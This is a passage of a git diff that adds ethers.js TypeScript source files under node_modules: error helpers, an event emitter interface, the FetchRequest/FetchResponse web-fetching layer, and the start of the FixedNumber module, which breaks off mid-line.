"REPLACEMENT_UNDERPRICED" ? ReplacementUnderpricedError: + T extends "TRANSACTION_REPLACED" ? TransactionReplacedError: + T extends "UNCONFIGURED_NAME" ? UnconfiguredNameError: + + T extends "ACTION_REJECTED" ? ActionRejectedError: + + never; + + + +/** + * Returns true if the %%error%% matches an error thrown by ethers + * that matches the error %%code%%. + * + * In TypeScript environments, this can be used to check that %%error%% + * matches an EthersError type, which means the expected properties will + * be set. + * + * @See [ErrorCodes](api:ErrorCode) + * @example + * try { + * // code.... + * } catch (e) { + * if (isError(e, "CALL_EXCEPTION")) { + * // The Type Guard has validated this object + * console.log(e.data); + * } + * } + */ +export function isError>(error: any, code: K): error is T { + return (error && (error).code === code); +} + +/** + * Returns true if %%error%% is a [[CallExceptionError]. + */ +export function isCallException(error: any): error is CallExceptionError { + return isError(error, "CALL_EXCEPTION"); +} + +/** + * Returns a new Error configured to the format ethers emits errors, with + * the %%message%%, [[api:ErrorCode]] %%code%% and additional properties + * for the corresponding EthersError. + * + * Each error in ethers includes the version of ethers, a + * machine-readable [[ErrorCode]], and depending on %%code%%, additional + * required properties. The error message will also include the %%message%%, + * ethers version, %%code%% and all additional properties, serialized. + */ +export function makeError>(message: string, code: K, info?: ErrorInfo): T { + let shortMessage = message; + + { + const details: Array = []; + if (info) { + if ("message" in info || "code" in info || "name" in info) { + throw new Error(`value will overwrite populated values: ${ stringify(info) }`); + } + for (const key in info) { + if (key === "shortMessage") { continue; } + const value = (info[>key]); +// try { + details.push(key + "=" + stringify(value)); +// } catch (error: any) { +// console.log("MMM", error.message); +// details.push(key + "=[could not serialize object]"); +// } + } + } + details.push(`code=${ code }`); + details.push(`version=${ version }`); + + if (details.length) { + message += " (" + details.join(", ") + ")"; + } + } + + let error; + switch (code) { + case "INVALID_ARGUMENT": + error = new TypeError(message); + break; + case "NUMERIC_FAULT": + case "BUFFER_OVERRUN": + error = new RangeError(message); + break; + default: + error = new Error(message); + } + + defineProperties(error, { code }); + + if (info) { Object.assign(error, info); } + + if ((error).shortMessage == null) { + defineProperties(error, { shortMessage }); + } + + return error; +} + +/** + * Throws an EthersError with %%message%%, %%code%% and additional error + * %%info%% when %%check%% is falsish.. + * + * @see [[api:makeError]] + */ +export function assert>(check: unknown, message: string, code: K, info?: ErrorInfo): asserts check { + if (!check) { throw makeError(message, code, info); } +} + + +/** + * A simple helper to simply ensuring provided arguments match expected + * constraints, throwing if not. + * + * In TypeScript environments, the %%check%% has been asserted true, so + * any further code does not need additional compile-time checks. + */ +export function assertArgument(check: unknown, message: string, name: string, value: unknown): asserts check { + assert(check, message, "INVALID_ARGUMENT", { argument: name, value: value }); +} + +export function assertArgumentCount(count: number, expectedCount: number, message?: string): void { + if (message == null) { message = ""; } + if (message) { message = ": " + message; } + + assert(count >= expectedCount, "missing argument" + message, "MISSING_ARGUMENT", { + count: count, + expectedCount: expectedCount + }); + + assert(count <= expectedCount, "too many arguments" + message, "UNEXPECTED_ARGUMENT", { + count: count, + expectedCount: expectedCount + }); +} + +const _normalizeForms = ["NFD", "NFC", "NFKD", "NFKC"].reduce((accum, form) => { + try { + // General test for normalize + /* c8 ignore start */ + if ("test".normalize(form) !== "test") { throw new Error("bad"); }; + /* c8 ignore stop */ + + if (form === "NFD") { + const check = String.fromCharCode(0xe9).normalize("NFD"); + const expected = String.fromCharCode(0x65, 0x0301) + /* c8 ignore start */ + if (check !== expected) { throw new Error("broken") } + /* c8 ignore stop */ + } + + accum.push(form); + } catch(error) { } + + return accum; +}, >[]); + +/** + * Throws if the normalization %%form%% is not supported. + */ +export function assertNormalize(form: string): void { + assert(_normalizeForms.indexOf(form) >= 0, "platform missing String.prototype.normalize", "UNSUPPORTED_OPERATION", { + operation: "String.prototype.normalize", info: { form } + }); +} + +/** + * Many classes use file-scoped values to guard the constructor, + * making it effectively private. This facilitates that pattern + * by ensuring the %%givenGaurd%% matches the file-scoped %%guard%%, + * throwing if not, indicating the %%className%% if provided. + */ +export function assertPrivate(givenGuard: any, guard: any, className?: string): void { + if (className == null) { className = ""; } + if (givenGuard !== guard) { + let method = className, operation = "new"; + if (className) { + method += "."; + operation += " " + className; + } + assert(false, `private constructor; use ${ method }from* methods`, "UNSUPPORTED_OPERATION", { + operation + }); + } +} diff --git a/node_modules/ethers/src.ts/utils/events.ts b/node_modules/ethers/src.ts/utils/events.ts new file mode 100644 index 000000000000..532cb404b1c0 --- /dev/null +++ b/node_modules/ethers/src.ts/utils/events.ts @@ -0,0 +1,105 @@ +/** + * Events allow for applications to use the observer pattern, which + * allows subscribing and publishing events, outside the normal + * execution paths. + * + * @_section api/utils/events:Events [about-events] + */ +import { defineProperties } from "./properties.js"; + +/** + * A callback function called when a an event is triggered. + */ +export type Listener = (...args: Array) => void; + +/** + * An **EventEmitterable** behaves similar to an EventEmitter + * except provides async access to its methods. + * + * An EventEmitter implements the observer pattern. + */ +export interface EventEmitterable { + /** + * Registers a %%listener%% that is called whenever the + * %%event%% occurs until unregistered. + */ + on(event: T, listener: Listener): Promise; + + /** + * Registers a %%listener%% that is called the next time + * %%event%% occurs. + */ + once(event: T, listener: Listener): Promise; + + /** + * Triggers each listener for %%event%% with the %%args%%. + */ + emit(event: T, ...args: Array): Promise; + + /** + * Resolves to the number of listeners for %%event%%. + */ + listenerCount(event?: T): Promise; + + /** + * Resolves to the listeners for %%event%%. + */ + listeners(event?: T): Promise>; + + /** + * Unregister the %%listener%% for %%event%%. If %%listener%% + * is unspecified, all listeners are unregistered. + */ + off(event: T, listener?: Listener): Promise; + + /** + * Unregister all listeners for %%event%%. + */ + removeAllListeners(event?: T): Promise; + + /** + * Alias for [[on]]. + */ + addListener(event: T, listener: Listener): Promise; + + /** + * Alias for [[off]]. + */ + removeListener(event: T, listener: Listener): Promise; +} + +/** + * When an [[EventEmitterable]] triggers a [[Listener]], the + * callback always ahas one additional argument passed, which is + * an **EventPayload**. + */ +export class EventPayload { + /** + * The event filter. + */ + readonly filter!: T; + + /** + * The **EventEmitterable**. + */ + readonly emitter!: EventEmitterable; + + readonly #listener: null | Listener; + + /** + * Create a new **EventPayload** for %%emitter%% with + * the %%listener%% and for %%filter%%. + */ + constructor(emitter: EventEmitterable, listener: null | Listener, filter: T) { + this.#listener = listener; + defineProperties>(this, { emitter, filter }); + } + + /** + * Unregister the triggered listener for future events. + */ + async removeListener(): Promise { + if (this.#listener == null) { return; } + await this.emitter.off(this.filter, this.#listener); + } +} diff --git a/node_modules/ethers/src.ts/utils/fetch.ts b/node_modules/ethers/src.ts/utils/fetch.ts new file mode 100644 index 000000000000..93c1a0627080 --- /dev/null +++ b/node_modules/ethers/src.ts/utils/fetch.ts @@ -0,0 +1,970 @@ +/** + * Fetching content from the web is environment-specific, so Ethers + * provides an abstraction that each environment can implement to provide + * this service. + * + * On [Node.js](link-node), the ``http`` and ``https`` libs are used to + * create a request object, register event listeners and process data + * and populate the [[FetchResponse]]. + * + * In a browser, the [DOM fetch](link-js-fetch) is used, and the resulting + * ``Promise`` is waited on to retrieve the payload. + * + * The [[FetchRequest]] is responsible for handling many common situations, + * such as redirects, server throttling, authentication, etc. + * + * It also handles common gateways, such as IPFS and data URIs. + * + * @_section api/utils/fetching:Fetching Web Content [about-fetch] + */ +import { decodeBase64, encodeBase64 } from "./base64.js"; +import { hexlify } from "./data.js"; +import { assert, assertArgument } from "./errors.js"; +import { defineProperties } from "./properties.js"; +import { toUtf8Bytes, toUtf8String } from "./utf8.js"; + +import { createGetUrl } from "./geturl.js"; + +/** + * An environment's implementation of ``getUrl`` must return this type. + */ +export type GetUrlResponse = { + statusCode: number, + statusMessage: string, + headers: Record, + body: null | Uint8Array +}; + +/** + * This can be used to control how throttling is handled in + * [[FetchRequest-setThrottleParams]]. + */ +export type FetchThrottleParams = { + maxAttempts?: number; + slotInterval?: number; +}; + +/** + * Called before any network request, allowing updated headers (e.g. Bearer tokens), etc. + */ +export type FetchPreflightFunc = (req: FetchRequest) => Promise; + +/** + * Called on the response, allowing client-based throttling logic or post-processing. + */ +export type FetchProcessFunc = (req: FetchRequest, resp: FetchResponse) => Promise; + +/** + * Called prior to each retry; return true to retry, false to abort. + */ +export type FetchRetryFunc = (req: FetchRequest, resp: FetchResponse, attempt: number) => Promise; + +/** + * Called on Gateway URLs. + */ +export type FetchGatewayFunc = (url: string, signal?: FetchCancelSignal) => Promise; + +/** + * Used to perform a fetch; use this to override the underlying network + * fetch layer. In NodeJS, the default uses the "http" and "https" libraries + * and in the browser ``fetch`` is used. If you wish to use Axios, this is + * how you would register it. + */ +export type FetchGetUrlFunc = (req: FetchRequest, signal?: FetchCancelSignal) => Promise; + + +const MAX_ATTEMPTS = 12; +const SLOT_INTERVAL = 250; + +// The global FetchGetUrlFunc implementation. +let defaultGetUrlFunc: FetchGetUrlFunc = createGetUrl(); + +const reData = new RegExp("^data:([^;:]*)?(;base64)?,(.*)$", "i"); +const reIpfs = new RegExp("^ipfs:/\/(ipfs/)?(.*)$", "i"); + +// If locked, new Gateways cannot be added +let locked = false; + +// https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/Data_URLs +async function dataGatewayFunc(url: string, signal?: FetchCancelSignal): Promise { + try { + const match = url.match(reData); + if (!match) { throw new Error("invalid data"); } + return new FetchResponse(200, "OK", { + "content-type": (match[1] || "text/plain"), + }, (match[2] ? decodeBase64(match[3]): unpercent(match[3]))); + } catch (error) { + return new FetchResponse(599, "BAD REQUEST (invalid data: URI)", { }, null, new FetchRequest(url)); + } +} + +/** + * Returns a [[FetchGatewayFunc]] for fetching content from a standard + * IPFS gateway hosted at %%baseUrl%%. + */ +function getIpfsGatewayFunc(baseUrl: string): FetchGatewayFunc { + async function gatewayIpfs(url: string, signal?: FetchCancelSignal): Promise { + try { + const match = url.match(reIpfs); + if (!match) { throw new Error("invalid link"); } + return new FetchRequest(`${ baseUrl }${ match[2] }`); + } catch (error) { + return new FetchResponse(599, "BAD REQUEST (invalid IPFS URI)", { }, null, new FetchRequest(url)); + } + } + + return gatewayIpfs; +} + +const Gateways: Record = { + "data": dataGatewayFunc, + "ipfs": getIpfsGatewayFunc("https:/\/gateway.ipfs.io/ipfs/") +}; + +const fetchSignals: WeakMap void> = new WeakMap(); + +/** + * @_ignore + */ +export class FetchCancelSignal { + #listeners: Array<() => void>; + #cancelled: boolean; + + constructor(request: FetchRequest) { + this.#listeners = [ ]; + this.#cancelled = false; + + fetchSignals.set(request, () => { + if (this.#cancelled) { return; } + this.#cancelled = true; + + for (const listener of this.#listeners) { + setTimeout(() => { listener(); }, 0); + } + this.#listeners = [ ]; + }); + } + + addListener(listener: () => void): void { + assert(!this.#cancelled, "singal already cancelled", "UNSUPPORTED_OPERATION", { + operation: "fetchCancelSignal.addCancelListener" + }); + this.#listeners.push(listener); + } + + get cancelled(): boolean { return this.#cancelled; } + + checkSignal(): void { + assert(!this.cancelled, "cancelled", "CANCELLED", { }); + } +} + +// Check the signal, throwing if it is cancelled +function checkSignal(signal?: FetchCancelSignal): FetchCancelSignal { + if (signal == null) { throw new Error("missing signal; should not happen"); } + signal.checkSignal(); + return signal; +} + +/** + * Represents a request for a resource using a URI. + * + * By default, the supported schemes are ``HTTP``, ``HTTPS``, ``data:``, + * and ``IPFS:``. + * + * Additional schemes can be added globally using [[registerGateway]]. + * + * @example: + * req = new FetchRequest("https://www.ricmoo.com") + * resp = await req.send() + * resp.body.length + * //_result: + */ +export class FetchRequest implements Iterable<[ key: string, value: string ]> { + #allowInsecure: boolean; + #gzip: boolean; + #headers: Record; + #method: string; + #timeout: number; + #url: string; + + #body?: Uint8Array; + #bodyType?: string; + #creds?: string; + + // Hooks + #preflight?: null | FetchPreflightFunc; + #process?: null | FetchProcessFunc; + #retry?: null | FetchRetryFunc; + + #signal?: FetchCancelSignal; + + #throttle: Required; + + #getUrlFunc: null | FetchGetUrlFunc; + + /** + * The fetch URL to request. + */ + get url(): string { return this.#url; } + set url(url: string) { + this.#url = String(url); + } + + /** + * The fetch body, if any, to send as the request body. //(default: null)// + * + * When setting a body, the intrinsic ``Content-Type`` is automatically + * set and will be used if **not overridden** by setting a custom + * header. + * + * If %%body%% is null, the body is cleared (along with the + * intrinsic ``Content-Type``). + * + * If %%body%% is a string, the intrinsic ``Content-Type`` is set to + * ``text/plain``. + * + * If %%body%% is a Uint8Array, the intrinsic ``Content-Type`` is set to + * ``application/octet-stream``. + * + * If %%body%% is any other object, the intrinsic ``Content-Type`` is + * set to ``application/json``. + */ + get body(): null | Uint8Array { + if (this.#body == null) { return null; } + return new Uint8Array(this.#body); + } + set body(body: null | string | Readonly | Readonly) { + if (body == null) { + this.#body = undefined; + this.#bodyType = undefined; + } else if (typeof(body) === "string") { + this.#body = toUtf8Bytes(body); + this.#bodyType = "text/plain"; + } else if (body instanceof Uint8Array) { + this.#body = body; + this.#bodyType = "application/octet-stream"; + } else if (typeof(body) === "object") { + this.#body = toUtf8Bytes(JSON.stringify(body)); + this.#bodyType = "application/json"; + } else { + throw new Error("invalid body"); + } + } + + /** + * Returns true if the request has a body. + */ + hasBody(): this is (FetchRequest & { body: Uint8Array }) { + return (this.#body != null); + } + + /** + * The HTTP method to use when requesting the URI. If no method + * has been explicitly set, then ``GET`` is used if the body is + * null and ``POST`` otherwise. + */ + get method(): string { + if (this.#method) { return this.#method; } + if (this.hasBody()) { return "POST"; } + return "GET"; + } + set method(method: null | string) { + if (method == null) { method = ""; } + this.#method = String(method).toUpperCase(); + } + + /** + * The headers that will be used when requesting the URI. All + * keys are lower-case. + * + * This object is a copy, so any changes will **NOT** be reflected + * in the ``FetchRequest``. + * + * To set a header entry, use the ``setHeader`` method. + */ + get headers(): Record { + const headers = Object.assign({ }, this.#headers); + + if (this.#creds) { + headers["authorization"] = `Basic ${ encodeBase64(toUtf8Bytes(this.#creds)) }`; + }; + + if (this.allowGzip) { + headers["accept-encoding"] = "gzip"; + } + + if (headers["content-type"] == null && this.#bodyType) { + headers["content-type"] = this.#bodyType; + } + if (this.body) { headers["content-length"] = String(this.body.length); } + + return headers; + } + + /** + * Get the header for %%key%%, ignoring case. + */ + getHeader(key: string): string { + return this.headers[key.toLowerCase()]; + } + + /** + * Set the header for %%key%% to %%value%%. All values are coerced + * to a string. + */ + setHeader(key: string, value: string | number): void { + this.#headers[String(key).toLowerCase()] = String(value); + } + + /** + * Clear all headers, resetting all intrinsic headers. + */ + clearHeaders(): void { + this.#headers = { }; + } + + [Symbol.iterator](): Iterator<[ key: string, value: string ]> { + const headers = this.headers; + const keys = Object.keys(headers); + let index = 0; + return { + next: () => { + if (index < keys.length) { + const key = keys[index++]; + return { + value: [ key, headers[key] ], done: false + } + } + return { value: undefined, done: true }; + } + }; + } + + /** + * The value that will be sent for the ``Authorization`` header. + * + * To set the credentials, use the ``setCredentials`` method. + */ + get credentials(): null | string { + return this.#creds || null; + } + + /** + * Sets an ``Authorization`` for %%username%% with %%password%%. + */ + setCredentials(username: string, password: string): void { + assertArgument(!username.match(/:/), "invalid basic authentication username", "username", "[REDACTED]"); + this.#creds = `${ username }:${ password }`; + } + + /** + * Enable and request gzip-encoded responses. The response will + * automatically be decompressed. //(default: true)// + */ + get allowGzip(): boolean { + return this.#gzip; + } + set allowGzip(value: boolean) { + this.#gzip = !!value; + } + + /** + * Allow ``Authentication`` credentials to be sent over insecure + * channels. //(default: false)// + */ + get allowInsecureAuthentication(): boolean { + return !!this.#allowInsecure; + } + set allowInsecureAuthentication(value: boolean) { + this.#allowInsecure = !!value; + } + + /** + * The timeout (in milliseconds) to wait for a complete response. + * //(default: 5 minutes)// + */ + get timeout(): number { return this.#timeout; } + set timeout(timeout: number) { + assertArgument(timeout >= 0, "timeout must be non-zero", "timeout", timeout); + this.#timeout = timeout; + } + + /** + * This function is called prior to each request, for example + * during a redirection or retry in case of server throttling. + * + * This offers an opportunity to populate headers or update + * content before sending a request. + */ + get preflightFunc(): null | FetchPreflightFunc { + return this.#preflight || null; + } + set preflightFunc(preflight: null | FetchPreflightFunc) { + this.#preflight = preflight; + } + + /** + * This function is called after each response, offering an + * opportunity to provide client-level throttling or updating + * response data. + * + * Any error thrown in this causes the ``send()`` to throw. + * + * To schedule a retry attempt (assuming the maximum retry limit + * has not been reached), use [[response.throwThrottleError]]. + */ + get processFunc(): null | FetchProcessFunc { + return this.#process || null; + } + set processFunc(process: null | FetchProcessFunc) { + this.#process = process; + } + + /** + * This function is called on each retry attempt. + */ + get retryFunc(): null | FetchRetryFunc { + return this.#retry || null; + } + set retryFunc(retry: null | FetchRetryFunc) { + this.#retry = retry; + } + + /** + * This function is called to fetch content from HTTP and + * HTTPS URLs and is platform specific (e.g. nodejs vs + * browsers). + * + * This is by default the currently registered global getUrl + * function, which can be changed using [[registerGetUrl]]. + * If this has been set, setting is to ``null`` will cause + * this FetchRequest (and any future clones) to revert back to + * using the currently registered global getUrl function. + * + * Setting this is generally not necessary, but may be useful + * for developers that wish to intercept requests or to + * configurege a proxy or other agent. + */ + get getUrlFunc(): FetchGetUrlFunc { + return this.#getUrlFunc || defaultGetUrlFunc; + } + set getUrlFunc(value: null | FetchGetUrlFunc) { + this.#getUrlFunc = value; + } + + /** + * Create a new FetchRequest instance with default values. + * + * Once created, each property may be set before issuing a + * ``.send()`` to make the request. + */ + constructor(url: string) { + this.#url = String(url); + + this.#allowInsecure = false; + this.#gzip = true; + this.#headers = { }; + this.#method = ""; + this.#timeout = 300000; + + this.#throttle = { + slotInterval: SLOT_INTERVAL, + maxAttempts: MAX_ATTEMPTS + }; + + this.#getUrlFunc = null; + } + + toString(): string { + return ``; + } + + /** + * Update the throttle parameters used to determine maximum + * attempts and exponential-backoff properties. + */ + setThrottleParams(params: FetchThrottleParams): void { + if (params.slotInterval != null) { + this.#throttle.slotInterval = params.slotInterval; + } + if (params.maxAttempts != null) { + this.#throttle.maxAttempts = params.maxAttempts; + } + } + + async #send(attempt: number, expires: number, delay: number, _request: FetchRequest, _response: FetchResponse): Promise { + if (attempt >= this.#throttle.maxAttempts) { + return _response.makeServerError("exceeded maximum retry limit"); + } + + assert(getTime() <= expires, "timeout", "TIMEOUT", { + operation: "request.send", reason: "timeout", request: _request + }); + + if (delay > 0) { await wait(delay); } + + let req = this.clone(); + const scheme = (req.url.split(":")[0] || "").toLowerCase(); + + // Process any Gateways + if (scheme in Gateways) { + const result = await Gateways[scheme](req.url, checkSignal(_request.#signal)); + if (result instanceof FetchResponse) { + let response = result; + + if (this.processFunc) { + checkSignal(_request.#signal); + try { + response = await this.processFunc(req, response); + } catch (error: any) { + + // Something went wrong during processing; throw a 5xx server error + if (error.throttle == null || typeof(error.stall) !== "number") { + response.makeServerError("error in post-processing function", error).assertOk(); + } + + // Ignore throttling + } + } + + return response; + } + req = result; + } + + // We have a preflight function; update the request + if (this.preflightFunc) { req = await this.preflightFunc(req); } + + const resp = await this.getUrlFunc(req, checkSignal(_request.#signal)); + let response = new FetchResponse(resp.statusCode, resp.statusMessage, resp.headers, resp.body, _request); + + if (response.statusCode === 301 || response.statusCode === 302) { + + // Redirect + try { + const location = response.headers.location || ""; + return req.redirect(location).#send(attempt + 1, expires, 0, _request, response); + } catch (error) { } + + // Things won't get any better on another attempt; abort + return response; + + } else if (response.statusCode === 429) { + + // Throttle + if (this.retryFunc == null || (await this.retryFunc(req, response, attempt))) { + const retryAfter = response.headers["retry-after"]; + let delay = this.#throttle.slotInterval * Math.trunc(Math.random() * Math.pow(2, attempt)); + if (typeof(retryAfter) === "string" && retryAfter.match(/^[1-9][0-9]*$/)) { + delay = parseInt(retryAfter); + } + return req.clone().#send(attempt + 1, expires, delay, _request, response); + } + } + + if (this.processFunc) { + checkSignal(_request.#signal); + try { + response = await this.processFunc(req, response); + } catch (error: any) { + + // Something went wrong during processing; throw a 5xx server error + if (error.throttle == null || typeof(error.stall) !== "number") { + response.makeServerError("error in post-processing function", error).assertOk(); + } + + // Throttle + let delay = this.#throttle.slotInterval * Math.trunc(Math.random() * Math.pow(2, attempt));; + if (error.stall >= 0) { delay = error.stall; } + + return req.clone().#send(attempt + 1, expires, delay, _request, response); + } + } + + return response; + } + + /** + * Resolves to the response by sending the request. + */ + send(): Promise { + assert(this.#signal == null, "request already sent", "UNSUPPORTED_OPERATION", { operation: "fetchRequest.send" }); + this.#signal = new FetchCancelSignal(this); + return this.#send(0, getTime() + this.timeout, 0, this, new FetchResponse(0, "", { }, null, this)); + } + + /** + * Cancels the inflight response, causing a ``CANCELLED`` + * error to be rejected from the [[send]]. + */ + cancel(): void { + assert(this.#signal != null, "request has not been sent", "UNSUPPORTED_OPERATION", { operation: "fetchRequest.cancel" }); + const signal = fetchSignals.get(this); + if (!signal) { throw new Error("missing signal; should not happen"); } + signal(); + } + + /** + * Returns a new [[FetchRequest]] that represents the redirection + * to %%location%%. + */ + redirect(location: string): FetchRequest { + // Redirection; for now we only support absolute locations + const current = this.url.split(":")[0].toLowerCase(); + const target = location.split(":")[0].toLowerCase(); + + // Don't allow redirecting: + // - non-GET requests + // - downgrading the security (e.g. https => http) + // - to non-HTTP (or non-HTTPS) protocols [this could be relaxed?] + assert(this.method === "GET" && (current !== "https" || target !== "http") && location.match(/^https?:/), `unsupported redirect`, "UNSUPPORTED_OPERATION", { + operation: `redirect(${ this.method } ${ JSON.stringify(this.url) } => ${ JSON.stringify(location) })` + }); + + // Create a copy of this request, with a new URL + const req = new FetchRequest(location); + req.method = "GET"; + req.allowGzip = this.allowGzip; + req.timeout = this.timeout; + req.#headers = Object.assign({ }, this.#headers); + if (this.#body) { req.#body = new Uint8Array(this.#body); } + req.#bodyType = this.#bodyType; + + // Do not forward credentials unless on the same domain; only absolute + //req.allowInsecure = false; + // paths are currently supported; may want a way to specify to forward? + //setStore(req.#props, "creds", getStore(this.#pros, "creds")); + + return req; + } + + /** + * Create a new copy of this request. + */ + clone(): FetchRequest { + const clone = new FetchRequest(this.url); + + // Preserve "default method" (i.e. null) + clone.#method = this.#method; + + // Preserve "default body" with type, copying the Uint8Array is present + if (this.#body) { clone.#body = this.#body; } + clone.#bodyType = this.#bodyType; + + // Preserve "default headers" + clone.#headers = Object.assign({ }, this.#headers); + + // Credentials is readonly, so we copy internally + clone.#creds = this.#creds; + + if (this.allowGzip) { clone.allowGzip = true; } + + clone.timeout = this.timeout; + if (this.allowInsecureAuthentication) { clone.allowInsecureAuthentication = true; } + + clone.#preflight = this.#preflight; + clone.#process = this.#process; + clone.#retry = this.#retry; + + clone.#throttle = Object.assign({ }, this.#throttle); + + clone.#getUrlFunc = this.#getUrlFunc; + + return clone; + } + + /** + * Locks all static configuration for gateways and FetchGetUrlFunc + * registration. + */ + static lockConfig(): void { + locked = true; + } + + /** + * Get the current Gateway function for %%scheme%%. + */ + static getGateway(scheme: string): null | FetchGatewayFunc { + return Gateways[scheme.toLowerCase()] || null; + } + + /** + * Use the %%func%% when fetching URIs using %%scheme%%. + * + * This method affects all requests globally. + * + * If [[lockConfig]] has been called, no change is made and this + * throws. + */ + static registerGateway(scheme: string, func: FetchGatewayFunc): void { + scheme = scheme.toLowerCase(); + if (scheme === "http" || scheme === "https") { + throw new Error(`cannot intercept ${ scheme }; use registerGetUrl`); + } + if (locked) { throw new Error("gateways locked"); } + Gateways[scheme] = func; + } + + /** + * Use %%getUrl%% when fetching URIs over HTTP and HTTPS requests. + * + * This method affects all requests globally. + * + * If [[lockConfig]] has been called, no change is made and this + * throws. + */ + static registerGetUrl(getUrl: FetchGetUrlFunc): void { + if (locked) { throw new Error("gateways locked"); } + defaultGetUrlFunc = getUrl; + } + + /** + * Creates a getUrl function that fetches content from HTTP and + * HTTPS URLs. + * + * The available %%options%% are dependent on the platform + * implementation of the default getUrl function. + * + * This is not generally something that is needed, but is useful + * when trying to customize simple behaviour when fetching HTTP + * content. + */ + static createGetUrlFunc(options?: Record): FetchGetUrlFunc { + return createGetUrl(options); + } + + /** + * Creates a function that can "fetch" data URIs. + * + * Note that this is automatically done internally to support + * data URIs, so it is not necessary to register it. + * + * This is not generally something that is needed, but may + * be useful in a wrapper to perfom custom data URI functionality. + */ + static createDataGateway(): FetchGatewayFunc { + return dataGatewayFunc; + } + + /** + * Creates a function that will fetch IPFS (unvalidated) from + * a custom gateway baseUrl. + * + * The default IPFS gateway used internally is + * ``"https:/\/gateway.ipfs.io/ipfs/"``. + */ + static createIpfsGatewayFunc(baseUrl: string): FetchGatewayFunc { + return getIpfsGatewayFunc(baseUrl); + } +} + + +interface ThrottleError extends Error { + stall: number; + throttle: true; +}; + +/** + * The response for a FetchRequest. + */ +export class FetchResponse implements Iterable<[ key: string, value: string ]> { + #statusCode: number; + #statusMessage: string; + #headers: Record; + #body: null | Readonly; + #request: null | FetchRequest; + + #error: { error?: Error, message: string }; + + toString(): string { + return ``; + } + + /** + * The response status code. + */ + get statusCode(): number { return this.#statusCode; } + + /** + * The response status message. + */ + get statusMessage(): string { return this.#statusMessage; } + + /** + * The response headers. All keys are lower-case. + */ + get headers(): Record { return Object.assign({ }, this.#headers); } + + /** + * The response body, or ``null`` if there was no body. + */ + get body(): null | Readonly { + return (this.#body == null) ? null: new Uint8Array(this.#body); + } + + /** + * The response body as a UTF-8 encoded string, or the empty + * string (i.e. ``""``) if there was no body. + * + * An error is thrown if the body is invalid UTF-8 data. + */ + get bodyText(): string { + try { + return (this.#body == null) ? "": toUtf8String(this.#body); + } catch (error) { + assert(false, "response body is not valid UTF-8 data", "UNSUPPORTED_OPERATION", { + operation: "bodyText", info: { response: this } + }); + } + } + + /** + * The response body, decoded as JSON. + * + * An error is thrown if the body is invalid JSON-encoded data + * or if there was no body. + */ + get bodyJson(): any { + try { + return JSON.parse(this.bodyText); + } catch (error) { + assert(false, "response body is not valid JSON", "UNSUPPORTED_OPERATION", { + operation: "bodyJson", info: { response: this } + }); + } + } + + [Symbol.iterator](): Iterator<[ key: string, value: string ]> { + const headers = this.headers; + const keys = Object.keys(headers); + let index = 0; + return { + next: () => { + if (index < keys.length) { + const key = keys[index++]; + return { + value: [ key, headers[key] ], done: false + } + } + return { value: undefined, done: true }; + } + }; + } + + constructor(statusCode: number, statusMessage: string, headers: Readonly>, body: null | Uint8Array, request?: FetchRequest) { + this.#statusCode = statusCode; + this.#statusMessage = statusMessage; + this.#headers = Object.keys(headers).reduce((accum, k) => { + accum[k.toLowerCase()] = String(headers[k]); + return accum; + }, >{ }); + this.#body = ((body == null) ? null: new Uint8Array(body)); + this.#request = (request || null); + + this.#error = { message: "" }; + } + + /** + * Return a Response with matching headers and body, but with + * an error status code (i.e. 599) and %%message%% with an + * optional %%error%%. + */ + makeServerError(message?: string, error?: Error): FetchResponse { + let statusMessage: string; + if (!message) { + message = `${ this.statusCode } ${ this.statusMessage }`; + statusMessage = `CLIENT ESCALATED SERVER ERROR (${ message })`; + } else { + statusMessage = `CLIENT ESCALATED SERVER ERROR (${ this.statusCode } ${ this.statusMessage }; ${ message })`; + } + const response = new FetchResponse(599, statusMessage, this.headers, + this.body, this.#request || undefined); + response.#error = { message, error }; + return response; + } + + /** + * If called within a [request.processFunc](FetchRequest-processFunc) + * call, causes the request to retry as if throttled for %%stall%% + * milliseconds. + */ + throwThrottleError(message?: string, stall?: number): never { + if (stall == null) { + stall = -1; + } else { + assertArgument(Number.isInteger(stall) && stall >= 0, "invalid stall timeout", "stall", stall); + } + + const error = new Error(message || "throttling requests"); + + defineProperties(error, { stall, throttle: true }); + + throw error; + } + + /** + * Get the header value for %%key%%, ignoring case. + */ + getHeader(key: string): string { + return this.headers[key.toLowerCase()]; + } + + /** + * Returns true if the response has a body. + */ + hasBody(): this is (FetchResponse & { body: Uint8Array }) { + return (this.#body != null); + } + + /** + * The request made for this response. + */ + get request(): null | FetchRequest { return this.#request; } + + /** + * Returns true if this response was a success statusCode. + */ + ok(): boolean { + return (this.#error.message === "" && this.statusCode >= 200 && this.statusCode < 300); + } + + /** + * Throws a ``SERVER_ERROR`` if this response is not ok. + */ + assertOk(): void { + if (this.ok()) { return; } + let { message, error } = this.#error; + if (message === "") { + message = `server response ${ this.statusCode } ${ this.statusMessage }`; + } + + let requestUrl: null | string = null; + if (this.request) { requestUrl = this.request.url; } + + let responseBody: null | string = null; + try { + if (this.#body) { responseBody = toUtf8String(this.#body); } + } catch (e) { } + + assert(false, message, "SERVER_ERROR", { + request: (this.request || "unknown request"), response: this, error, + info: { + requestUrl, responseBody, + responseStatus: `${ this.statusCode } ${ this.statusMessage }` } + }); + } +} + + +function getTime(): number { return (new Date()).getTime(); } + +function unpercent(value: string): Uint8Array { + return toUtf8Bytes(value.replace(/%([0-9a-f][0-9a-f])/gi, (all, code) => { + return String.fromCharCode(parseInt(code, 16)); + })); +} + +function wait(delay: number): Promise { + return new Promise((resolve) => setTimeout(resolve, delay)); +} diff --git a/node_modules/ethers/src.ts/utils/fixednumber.ts b/node_modules/ethers/src.ts/utils/fixednumber.ts new file mode 100644 index 000000000000..cc364af74297 --- /dev/null +++ b/node_modules/ethers/src.ts/utils/fixednumber.ts @@ -0,0 +1,643 @@ +/** + * The **FixedNumber** class permits using values with decimal places, + * using fixed-pont math. + * + * Fixed-point math is still based on integers under-the-hood, but uses an + * internal offset to store fractional components below, and each operation + * corrects for this after each operation. + * + * @_section: api/utils/fixed-point-math:Fixed-Point Maths [about-fixed-point-math] + */ +import { getBytes } from "./data.js"; +import { assert, assertArgument, assertPrivate } from "./errors.js"; +import { + getBigInt, getNumber, fromTwos, mask, toBigInt +} from "./maths.js"; +import { defineProperties } from "./properties.js"; + +import type { BigNumberish, BytesLike, Numeric } from "./index.js"; + +const BN_N1 = BigInt(-1); +const BN_0 = BigInt(0); +const BN_1 = BigInt(1); +const BN_5 = BigInt(5); + +const _guard = { }; + + +// Constant to pull zeros from for multipliers +let Zeros = 